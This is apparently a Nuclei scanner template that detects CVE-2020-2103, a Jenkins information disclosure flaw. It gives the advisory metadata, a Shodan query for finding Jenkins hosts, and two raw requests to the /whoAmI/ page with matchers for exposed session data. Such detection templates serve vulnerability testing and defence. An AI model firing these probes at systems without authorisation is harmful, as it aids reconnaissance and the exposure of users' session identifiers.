id: CVE-2020-2103 info: name: Jenkins <=2.218 - Information Disclosure author: c-sh0 severity: medium description: Jenkins through 2.218, LTS 2.204.1 and earlier, is susceptible to information disclosure. An attacker can access exposed session identifiers on a user detail object in the whoAmI diagnostic page and thus potentially access sensitive information, modify data, and/or execute unauthorized operations. reference: - https://www.jenkins.io/security/advisory/2020-01-29/#SECURITY-1695 - https://jenkins.io/security/advisory/2020-01-29/#SECURITY-1695 - http://www.openwall.com/lists/oss-security/2020/01/29/1 - https://nvd.nist.gov/vuln/detail/CVE-2020-2103 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2020-2103 cwe-id: CWE-200 cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:* epss-score: 0.00535 metadata: max-request: 2 shodan-query: http.favicon.hash:81586312 tags: cve,cve2020,jenkins http: - raw: - | GET {{BaseURL}}/whoAmI/ HTTP/1.1 Host: {{Hostname}} - | GET {{BaseURL}}/whoAmI/ HTTP/1.1 Host: {{Hostname}} cookie-reuse: true req-condition: true matchers-condition: and matchers: - type: status status: - 200 - type: word part: header words: - 'text/html' - 'x-jenkins' condition: and case-insensitive: true - type: word part: body_2 words: - 'Cookie' - 'SessionId: null' condition: and extractors: - type: kval kval: - x_jenkins # Enhanced by md on 2023/04/04